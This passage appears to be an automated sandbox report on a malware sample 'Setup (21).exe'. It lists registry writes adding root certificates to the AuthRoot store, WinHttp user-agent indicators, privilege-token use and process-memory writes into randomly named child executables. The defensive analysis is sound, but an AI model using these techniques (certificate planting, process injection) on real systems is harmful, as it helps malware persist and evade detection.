a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Im20rYhq_aY1DxsHQOwFlu8h.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Im20rYhq_aY1DxsHQOwFlu8h.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Im20rYhq_aY1DxsHQOwFlu8h.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Im20rYhq_aY1DxsHQOwFlu8h.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Setup (21).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Im20rYhq_aY1DxsHQOwFlu8h.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Im20rYhq_aY1DxsHQOwFlu8h.exe

Script User-Agent 6 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	311	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	314	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	523	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	175	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	177	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	292	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Setup (21).exezUaCuwbHmdHIgTdIpVnvQbsF.exe53MCfXXtkfWsHza3CJBD6za1.exeIm20rYhq_aY1DxsHQOwFlu8h.exe

pid	process
664	Setup (21).exe
1580	zUaCuwbHmdHIgTdIpVnvQbsF.exe
1580	zUaCuwbHmdHIgTdIpVnvQbsF.exe
2000	53MCfXXtkfWsHza3CJBD6za1.exe
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
1288
1288
1288
1288
1288
1288
1288
1288
1288
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288
1288

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

zUaCuwbHmdHIgTdIpVnvQbsF.exezUaCuwbHmdHIgTdIpVnvQbsF.exe

pid process

1580 zUaCuwbHmdHIgTdIpVnvQbsF.exe
1580 zUaCuwbHmdHIgTdIpVnvQbsF.exe

pid	process
1580	zUaCuwbHmdHIgTdIpVnvQbsF.exe
1580	zUaCuwbHmdHIgTdIpVnvQbsF.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

Processes:

CWvg1ViW45mfD3cwPRmW8m3I.exe53MCfXXtkfWsHza3CJBD6za1.exe726kYkRlMm6_bx_BSvyV6w45.exetaskkill.exeQLWouRTlTxb6fAroZ_myRvWb.exe1uzHmugvKAfyECtMSwtpeymi.exeWMqvAlh8_pDtOF327ptRNKm2.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe11111.exe22222.exeCWvg1ViW45mfD3cwPRmW8m3I.exe53MCfXXtkfWsHza3CJBD6za1.exe726kYkRlMm6_bx_BSvyV6w45.exetaskkill.exeQLWouRTlTxb6fAroZ_myRvWb.exe1uzHmugvKAfyECtMSwtpeymi.exeWMqvAlh8_pDtOF327ptRNKm2.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe11111.exe22222.exe

description	pid	process
Token: SeDebugPrivilege	1732	CWvg1ViW45mfD3cwPRmW8m3I.exe
Token: SeDebugPrivilege	2000	53MCfXXtkfWsHza3CJBD6za1.exe
Token: SeDebugPrivilege	1160	726kYkRlMm6_bx_BSvyV6w45.exe
Token: SeDebugPrivilege	3028	taskkill.exe
Token: SeShutdownPrivilege	1288
Token: SeDebugPrivilege	1816	QLWouRTlTxb6fAroZ_myRvWb.exe
Token: SeDebugPrivilege	2620	1uzHmugvKAfyECtMSwtpeymi.exe
Token: SeDebugPrivilege	948	WMqvAlh8_pDtOF327ptRNKm2.exe
Token: SeDebugPrivilege	1604	h6SnkxQsBB21Yzz1QEK5hAZl.exe
Token: SeDebugPrivilege	2612	11111.exe
Token: SeShutdownPrivilege	1288
Token: SeDebugPrivilege	112	22222.exe
Token: SeShutdownPrivilege	1288
Token: SeDebugPrivilege	1732	CWvg1ViW45mfD3cwPRmW8m3I.exe
Token: SeDebugPrivilege	2000	53MCfXXtkfWsHza3CJBD6za1.exe
Token: SeDebugPrivilege	1160	726kYkRlMm6_bx_BSvyV6w45.exe
Token: SeDebugPrivilege	3028	taskkill.exe
Token: SeShutdownPrivilege	1288
Token: SeDebugPrivilege	1816	QLWouRTlTxb6fAroZ_myRvWb.exe
Token: SeDebugPrivilege	2620	1uzHmugvKAfyECtMSwtpeymi.exe
Token: SeDebugPrivilege	948	WMqvAlh8_pDtOF327ptRNKm2.exe
Token: SeDebugPrivilege	1604	h6SnkxQsBB21Yzz1QEK5hAZl.exe
Token: SeDebugPrivilege	2612	11111.exe
Token: SeShutdownPrivilege	1288
Token: SeDebugPrivilege	112	22222.exe
Token: SeShutdownPrivilege	1288

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Setup (21).exe

description	pid	process	target process
PID 664 wrote to memory of 1072	664	Setup (21).exe	zUaCuwbHmdHIgTdIpVnvQbsF.exe
PID 664 wrote to memory of 1072	664	Setup (21).exe	zUaCuwbHmdHIgTdIpVnvQbsF.exe
PID 664 wrote to memory of 1072	664	Setup (21).exe	zUaCuwbHmdHIgTdIpVnvQbsF.exe
PID 664 wrote to memory of 1072	664	Setup (21).exe	zUaCuwbHmdHIgTdIpVnvQbsF.exe
PID 664 wrote to memory of 884	664	Setup (21).exe	LeNW19xoO5E82rP71JC3IA_X.exe
PID 664 wrote to memory of 884	664	Setup (21).exe	LeNW19xoO5E82rP71JC3IA_X.exe
PID 664 wrote to memory of 884	664	Setup (21).exe	LeNW19xoO5E82rP71JC3IA_X.exe
PID 664 wrote to memory of 884	664	Setup (21).exe	LeNW19xoO5E82rP71JC3IA_X.exe
PID 664 wrote to memory of 1732	664	Setup (21).exe	CWvg1ViW45mfD3cwPRmW8m3I.exe
PID 664 wrote to memory of 1732	664	Setup (21).exe	CWvg1ViW45mfD3cwPRmW8m3I.exe
PID 664 wrote to memory of 1732	664	Setup (21).exe	CWvg1ViW45mfD3cwPRmW8m3I.exe
PID 664 wrote to memory of 1732	664	Setup (21).exe	CWvg1ViW45mfD3cwPRmW8m3I.exe
PID 664 wrote to memory of 1740	664	Setup (21).exe	m5AAsHonnYr_k4fnsg5QS8e8.exe
PID 664 wrote to memory of 1740	664	Setup (21).exe	m5AAsHonnYr_k4fnsg5QS8e8.exe
PID 664 wrote to memory of 1740	664	Setup (21).exe	m5AAsHonnYr_k4fnsg5QS8e8.exe
